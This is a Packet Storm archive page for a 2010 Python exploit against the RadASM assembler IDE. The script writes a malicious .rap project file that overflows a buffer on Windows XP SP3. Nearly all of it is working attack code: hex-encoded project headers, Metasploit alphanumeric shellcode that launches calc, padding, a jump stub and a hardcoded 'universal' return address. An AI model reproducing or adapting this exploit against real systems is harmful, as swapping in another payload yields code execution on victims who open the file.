exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Radasm .rap Universal Buffer Overflow

Radasm .rap Universal Buffer Overflow
Posted Feb 12, 2010
Authored by Dz_attacker

Radasm universal local buffer overflow exploit that creates a malicious .rap file.

tags | exploit, overflow, local
SHA-256 | 64ddd4c64ca6294e0dbb0ba6095908bca0f48abd25b104034b4f03c83a0fab9e

Radasm .rap Universal Buffer Overflow

Change Mirror Download


Note: i used different way to exploit it (its not a duplicated exploit)

# Exploit Title: Radasm (.rap) Universal buffer overflow Exploit
# Date: 10/02/2010
# Author: Dz_attacker
# Tested on: Windows xp sp3
# Code :

#!/usr/bin/python
#[+] Radasm (.rap) Universal buffer overflow Exploit
#[+] Original : http://www.exploit-db.com/exploits/11392
#[+] Exploit : Dz_attacker (dz_attacker@hotmail.fr)

header1=(
"\x5b\x50\x72\x6f\x6a\x65\x63\x74\x5d\x0d\x0a\x41\x73\x73\x65\x6d\x62\x6c\x65\x72"
"\x3d\x6d\x61\x73\x6d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x31\x0d\x0a\x47\x72\x6f\x75"
"\x70\x45\x78\x70\x61\x6e\x64\x3d\x31\x0d\x0a\x5b\x46\x69\x6c\x65\x73\x5d\x0d\x0a"
"\x31\x3d\x41\x56\x50\x20")


header2=(
"\x2e\x41\x73\x6d\x0d\x0a\x32\x3d\x41\x56\x50\x20\x4f\x76\x65\x72\x2e\x49\x6e\x63"
"\x0d\x0a\x5b\x4d\x61\x6b\x65\x46\x69\x6c\x65\x73\x5d\x0d\x0a\x30\x3d\x41\x56\x50"
"\x20\x4f\x76\x65\x72\x2e\x72\x65\x73\x0d\x0a\x5b\x4d\x61\x6b\x65\x44\x65\x66\x5d"
"\x0d\x0a\x4d\x65\x6e\x75\x3d\x30\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31"
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x0d\x0a"
"\x31\x3d\x34\x2c\x4f\x2c\x24\x42\x5c\x52\x43\x2e\x45\x58\x45\x20\x2f\x76\x2c\x31"
"\x0d\x0a\x32\x3d\x33\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45\x58\x45\x20\x2f\x63"
"\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x36\x43\x6f\x67\x6f\x20"
"\x2f\x49\x22\x24\x49\x22\x2c\x32\x0d\x0a\x33\x3d\x35\x2c\x4f\x2c\x24\x42\x5c\x4c"
"\x49\x4e\x4b\x2e\x45\x58\x45\x20\x2f\x53\x55\x42\x53\x59\x53\x54\x45\x4d\x3a\x57"
"\x49\x4e\x44\x4f\x57\x53\x20\x2f\x52\x45\x4c\x45\x41\x53\x45\x20\x2f\x56\x45\x52"
"\x53\x49\x4f\x4e\x3a\x34\x2e\x30\x20\x2f\x4c\x49\x42\x50\x41\x54\x48\x3a\x22\x24"
"\x4c\x22\x20\x2f\x4f\x55\x54\x3a\x22\x24\x35\x22\x2c\x33\x0d\x0a\x34\x3d\x30\x2c"
"\x30\x2c\x2c\x35\x0d\x0a\x35\x3d\x72\x73\x72\x63\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24"
"\x42\x5c\x43\x56\x54\x52\x45\x53\x2e\x45\x58\x45\x2c\x72\x73\x72\x63\x2e\x72\x65"
"\x73\x0d\x0a\x36\x3d\x2a\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45"
"\x58\x45\x20\x2f\x63\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x6c"
"\x6f\x67\x6f\x20\x2f\x49\x22\x24\x49\x22\x2c\x2a\x2e\x61\x73\x6d\x0d\x0a\x37\x3d"
"\x30\x2c\x30\x2c\x22\x24\x45\x5c\x4f\x6c\x6c\x79\x44\x62\x67\x22\x2c\x35\x0d\x0a"
"\x5b\x47\x72\x6f\x75\x70\x5d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x41\x64\x64\x65\x64"
"\x20\x66\x69\x6c\x65\x73\x2c\x41\x73\x73\x65\x6d\x62\x6c\x79\x2c\x52\x65\x73\x6f"
"\x75\x72\x63\x65\x73\x2c\x4d\x69\x73\x63\x2c\x4d\x6f\x64\x75\x6c\x65\x73\x0d\x0a"
"\x31\x3d\x31")

# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44"
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x55\x41\x53"
"\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x55\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x57\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")

buffer = header1
buffer += "\x41"*2
buffer += shellcode
buffer += "\x41"*(1809-len(shellcode))
buffer += "\x61"*3
buffer += "\xFF\xD0"
buffer += "\xEB\xF9\x90\x90"
buffer += "\x55\x25\x40\x00" #univ ret
buffer += header2


try:
rap = open("exploit.rap",'w')
rap.write(buffer)
rap.close()
print "Exploit file created!\n"
except:
print "Error occured!"

________________________________
Vous cherchez l'int├ęgrale des clips de Michael Jackson ? Bing ! Trouvez !<http://www.bing.com/videos/search?q=Michael+Jackson&FORM=MVDE6>



Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close